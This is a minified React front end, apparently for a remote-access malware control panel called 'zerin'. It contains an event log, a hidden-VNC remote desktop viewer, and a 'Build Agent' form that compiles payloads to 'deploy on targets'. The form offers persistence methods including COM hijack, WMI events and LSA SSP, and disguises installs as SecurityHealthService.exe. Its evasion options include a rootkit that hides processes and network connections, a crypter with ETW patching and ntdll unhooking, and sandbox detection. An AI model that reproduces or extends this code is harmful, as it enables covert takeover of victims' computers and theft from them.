uppercase tracking-wider",children:"Type"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),s.jsx("div",{children:d.map((m,h)=>s.jsx(DU,{event:m,expanded:o===m.id,onToggle:()=>l(o===m.id?null:m.id)},m.id||h))})]})]})}function DU({event:e,expanded:t,onToggle:n}){const r=d2[e.severity]||d2.info,i=e.details&&Object.keys(e.details).length>0;return s.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[s.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[s.jsx("div",{children:s.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:E3[e.type]||e.type})}),s.jsx("div",{className:"min-w-0",children:s.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:EA(e.timestamp)})})]}),t&&i&&s.jsx("div",{className:"px-4 pb-3",children:s.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[s.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),s.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([a,o])=>s.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[s.jsxs("span",{className:"text-zerin-text-muted",children:[a,":"]}),s.jsx("span",{className:"text-zerin-text",children:String(o)})]},a))})]})})]})}function f2({label:e,active:t,onClick:n}){return s.jsx("button",{onClick:n,className:` + px-3 py-1 text-xs font-medium border transition-all duration-150 + ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} + `,children:e})}const p2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function m2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const h2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],RU=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function $U(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState(!1),[o,l]=p.useState(0),[c,u]=p.useState(0),[d,f]=p.useState(""),[m,h]=p.useState(""),x=p.useSyncExternalStore(Qj,Zj),g=x.status==="building",[y,v]=p.useState(m2),[b,w]=p.useState([""]),[j,k]=p.useState("30"),[S,N]=p.useState("25"),[z,O]=p.useState(""),[_,T]=p.useState(p2),[E,U]=p.useState(!1),[K,R]=p.useState("exe"),[I,F]=p.useState(0),[B,V]=p.useState(!0),[$,q]=p.useState(!0),[Y,ie]=p.useState(!0),[ae,fe]=p.useState(!0),[de,G]=p.useState(1),[te,P]=p.useState("Microsoft\\WindowsUpdate"),[C,D]=p.useState("SecurityHealthService.exe"),[A,Z]=p.useState(null),le=p.useCallback(async()=>{try{const W=await kE();t(W)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{le(),NE().then(W=>{w(X=>X.length===1&&X[0]===""?[W.default_callback_url]:X)}).catch(()=>{})},[le]),p.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const W=setInterval(()=>{const ne=Math.floor((Date.now()-x.startedAt)/1e3);u(ne);const H=Math.min(95,Math.floor(100*(1-Math.exp(-ne/50))));l(H)},500),X=Math.floor((Date.now()-x.startedAt)/1e3);return u(X),l(Math.min(95,Math.floor(100*(1-Math.exp(-X/50))))),()=>clearInterval(W)},[g,x.startedAt]),p.useEffect(()=>{g&&a(!0)},[]),p.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),a(!1),Eg(),le()):x.status==="error"&&(f(x.error||"Failed to build payload"),Eg())},[x.status]),p.useEffect(()=>{if(!m)return;const W=setTimeout(()=>h(""),4e3);return()=>clearTimeout(W)},[m]);function me(){v(m2()),k("30"),N("25"),O(""),T(p2),U(!1),R("exe"),F(0),V(!0),q(!0),ie(!0),fe(!0),G(1),P("Microsoft\\WindowsUpdate"),D("SecurityHealthService.exe")}async function ge(W){W.preventDefault(),f("");const X=b.filter(Q=>Q.trim()!=="");let ne=0;z&&(ne=Math.floor(new Date(z).getTime()/1e3));const H={name:y.trim(),callback_urls:X,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(S,10)||25,kill_date:ne,user_agent:_.trim(),output_format:K,debug:E,persist_methods:I||void 0,rootkit_enabled:B,encryption_enabled:$,anti_vm:Y,auto_elevate:ae,install_dir:de,install_subdir:te,install_filename:C};pA(H.name);try{await jE(H),mA(),me()}catch(Q){Q instanceof Jr?Pg(Q.message):Pg("Failed to build payload")}}async function M(W){const X=Ze();if(!X){f("Not authenticated");return}try{const ne=await fetch(`/api/payloads/${W.payload_id}/download`,{headers:{Authorization:`Bearer ${X}`}});if(!ne.ok){f("Download failed");return}const H=await ne.blob(),Q=URL.createObjectURL(H),ce=document.createElement("a");ce.href=Q;const re=ne.headers.get("content-disposition"),Ae=re==null?void 0:re.match(/filename="(.+?)"/);ce.download=(Ae==null?void 0:Ae[1])||`${W.name||"payload"}.exe`,document.body.appendChild(ce),ce.click(),document.body.removeChild(ce),URL.revokeObjectURL(Q)}catch{f("Download failed")}}async function ee(W){try{await SE(W),Z(null),le()}catch{f("Failed to delete payload")}}return s.jsxs("div",{className:"p-6",children:[s.jsxs("div",{className:"flex items-center justify-between mb-6",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),s.jsx("button",{onClick:()=>{a(!i),f("")},className:` + text-sm font-medium px-4 py-2 transition-all duration-150 + ${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} + `,children:i?"Cancel":"+ Build Agent"})]}),m&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:m}),i&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),s.jsxs("form",{onSubmit:ge,className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(er,{label:"Payload Name",children:s.jsx("input",{type:"text",value:y,onChange:W=>v(W.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),s.jsx(er,{label:"Output Format",children:s.jsxs("select",{value:K,onChange:W=>{const X=W.target.value;R(X),X==="exe"&&F(ne=>ne&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:"exe",children:"EXE"}),s.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsx(er,{label:"Sleep Interval (seconds)",children:s.jsx("input",{type:"number",value:j,onChange:W=>k(W.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),s.jsx(er,{label:`Jitter (${S}%)`,children:s.jsx("input",{type:"range",value:S,onChange:W=>N(W.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r + [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r + [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r + [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r + [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),s.jsx(er,{label:"Kill Date",children:s.jsx("input",{type:"datetime-local",value:z,onChange:W=>O(W.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [color-scheme:dark]`})})]}),s.jsx(er,{label:"User Agent",children:s.jsx("input",{type:"text",value:_,onChange:W=>T(W.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),s.jsx(er,{label:"Auto-Persistence (installed on first run)",children:s.jsx("div",{className:"grid grid-cols-3 gap-2",children:RU.map(W=>{const X=W.dllOnly&&K==="exe";return s.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors + ${X?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:(I&W.flag)!==0,disabled:X,onChange:ne=>{F(ne.target.checked?I|W.flag:I&~W.flag)},className:"accent-zerin-accent"}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:W.label}),W.admin&&s.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),X&&s.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},W.flag)})})}),s.jsx(er,{label:"Install Location (self-copy target)",children:s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),s.jsxs("select",{value:de,onChange:W=>G(parseInt(W.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:0,children:"%TEMP%"}),s.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),s.jsx("option",{value:2,children:"%APPDATA%"}),s.jsx("option",{value:3,children:"%PROGRAMDATA%"}),s.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),s.jsx("input",{type:"text",value:te,onChange:W=>P(W.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),s.jsx("input",{type:"text",value:C,onChange:W=>D(W.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]})]})}),s.jsxs(er,{label:"Evasion",children:[s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("input",{type:"checkbox",checked:B,onChange:W=>V(W.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:$,onChange:W=>q(W.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),s.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 + ${$?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[s.jsx("input",{type:"checkbox",checked:Y,disabled:!$,onChange:W=>ie(W.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:ae,onChange:W=>fe(W.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),s.jsxs("div",{className:"flex items-center justify-between pt-2",children:[s.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[s.jsx("div",{onClick:()=>U(!E),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer + ${E?"bg-zerin-accent":"bg-zinc-700"}`,children:s.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 + ${E?"translate-x-4":"translate-x-0"}`})}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsx("button",{type:"button",onClick:()=>{a(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),s.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r + px-5 py-2 transition-all duration-150\r + disabled:opacity-50 disabled:cursor-not-allowed\r + flex items-center gap-2`,children:[g&&s.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&s.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[s.jsx("span",{children:(h2.filter(W=>W.at<=o).pop()??h2[0]).label}),s.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),s.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),s.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!i&&s.jsx("button",{onClick:()=>a(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),s.jsx("div",{children:e.map(W=>{let X={};try{X=JSON.parse(W.config_json)}catch{}return s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[s.jsx("div",{children:s.jsx("span",{className:"text-sm font-medium text-zerin-text",children:W.name})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[X.sleep_interval??"—","s"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[X.jitter_percent??"—","%"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:W.agent_pubkey,children:[(W.agent_pubkey??"").slice(0,16),"..."]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-dim",children:W.built_by})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:uo(W.built_at)})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:cm(W.file_size)})}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>M(W),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),A===W.payload_id?s.jsxs("div",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>ee(W.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),s.jsx("button",{onClick:()=>Z(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):s.jsx("button",{onClick:()=>Z(W.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},W.payload_id)})})]}),s.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function er({label:e,children:t}){return s.jsxs("div",{children:[s.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const BU=[{label:"Explorer",cmd:"explorer.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("circle",{cx:"12",cy:"12",r:"10"}),s.jsx("circle",{cx:"12",cy:"12",r:"4"}),s.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),s.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),s.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function FU(){const{id:e}=Mo(),[t]=nx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=p.useRef(null),a=p.useRef(null),o=p.useRef(null),l=p.useRef(null),c=p.useRef(null),u=p.useRef({x:-1,y:-1}),d=p.useRef(null),f=p.useRef(0),[m,h]=p.useState(!0),[x,g]=p.useState(!0),[y,v]=p.useState(!1),[b,w]=p.useState(60),[j,k]=p.useState(20),[S,N]=p.useState(0),[z,O]=p.useState({w:0,h:0}),[,_]=p.useState(""),[T,E]=p.useState(null),[U,K]=p.useState(!1),[R,I]=p.useState(!1),F=p.useRef(!1),[B,V]=p.useState({w:0,h:0});p.useEffect(()=>{const H=l.current;if(!H)return;const Q=new ResizeObserver(ce=>{const re=ce[0];re&&V({w:re.contentRect.width,h:re.contentRect.height})});return Q.observe(H),()=>Q.disconnect()},[]);const $=p.useMemo(()=>{if(z.w<=0||z.h<=0||B.w<=0||B.h<=0)return null;const H=Math.min(B.w/z.w,B.h/z.h);return{width:Math.floor(z.w*H),height:Math.floor(z.h*H)}},[z,B]),q=p.useRef({x:0,y:0,w:0,h:0}),Y=p.useRef(null),ie=p.useCallback((H,Q)=>{const ce=a.current;if(!ce)return;Y.current||(Y.current=ce.getContext("2d"));const re=Y.current;if(!re)return;const Ae=q.current;if(Ae.w>0&&re.clearRect(Ae.x,Ae.y,Ae.w,Ae.h),H<0||Q<0){q.current={x:0,y:0,w:0,h:0};return}q.current={x:H-1,y:Q-1,w:16,h:24},re.save(),re.beginPath(),re.moveTo(H,Q),re.lineTo(H,Q+18),re.lineTo(H+5,Q+14),re.lineTo(H+9,Q+21),re.lineTo(H+12,Q+20),re.lineTo(H+8,Q+13),re.lineTo(H+13,Q+12),re.closePath(),re.fillStyle="white",re.fill(),re.strokeStyle="black",re.lineWidth=1,re.stroke(),re.restore()},[]),ae=p.useCallback((H,Q)=>{const ce=a.current;if(!ce)return;const re=ce.getContext("2d");re&&(re.save(),re.beginPath(),re.arc(H,Q,12,0,Math.PI*2),re.strokeStyle="rgba(6, 182, 212, 0.7)",re.lineWidth=2,re.stroke(),re.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{ie(u.current.x,u.current.y)},150))},[ie]),fe=p.useCallback((H,Q,ce,re,Ae)=>{F.current||(F.current=!0,I(!0)),O({w:Q,h:ce});const Ne=i.current;if(!Ne)return;const Ie=Ne.getContext("2d");if(!Ie)return;(Ne.width!==Q||Ne.height!==ce)&&(Ne.width=Q,Ne.height=ce);const zt=a.current;if(zt&&(zt.width!==Q||zt.height!==ce)&&(zt.width=Q,zt.height=ce,Y.current=null),typeof H=="string"){const _e=c.current||new Image;c.current=_e,_e.onload=()=>{Ie.drawImage(_e,0,0)},_e.src=H}else H instanceof ImageBitmap?(Ie.drawImage(H,0,0),H.close()):Ie.drawImage(H,0,0)},[r]),de=p.useCallback(()=>{},[]),{isConnected:G,stats:te,controls:P,connect:C,disconnect:D}=J0({agentId:e||"",mode:n,onFrame:fe,onDisconnect:de});p.useEffect(()=>{e&&C()},[e,C]);const A=p.useCallback(H=>{const Q=a.current,ce=i.current;if(!Q||!ce||z.w===0)return{x:0,y:0};const re=Q.getBoundingClientRect(),Ae=ce.width/re.width,Ne=ce.height/re.height;return{x:Math.min(Math.max(Math.round((H.clientX-re.left)*Ae),0),ce.width-1),y:Math.min(Math.max(Math.round((H.clientY-re.top)*Ne),0),ce.height-1)}},[z]),Z=p.useCallback(H=>{if(!m||y)return;const{x:Q,y:ce}=A(H);u.current={x:Q,y:ce};const re=performance.now();re-f.current>=33&&(f.current=re,P.sendMouseMove(Q,ce)),ie(Q,ce)},[m,y,A,P,ie]),le=p.useCallback(H=>{if(!m||y)return;const{x:Q,y:ce}=A(H);P.sendMouseButton(H.button,1,Q,ce),ae(Q,ce)},[m,y,A,P,ae]),me=p.useCallback(H=>{if(!m||y)return;const{x:Q,y:ce}=A(H);P.sendMouseButton(H.button,0,Q,ce)},[m,y,A,P]),ge=p.useCallback(H=>{if(!m||y)return;const{x:Q,y:ce}=A(H),re=H.deltaY>0?-120:120;P.sendMouseScroll(re,Q,ce)},[m,y,A,P]);p.useEffect(()=>{if(!x||y)return;const H=(re,Ae)=>{re.preventDefault(),re.stopPropagation();const 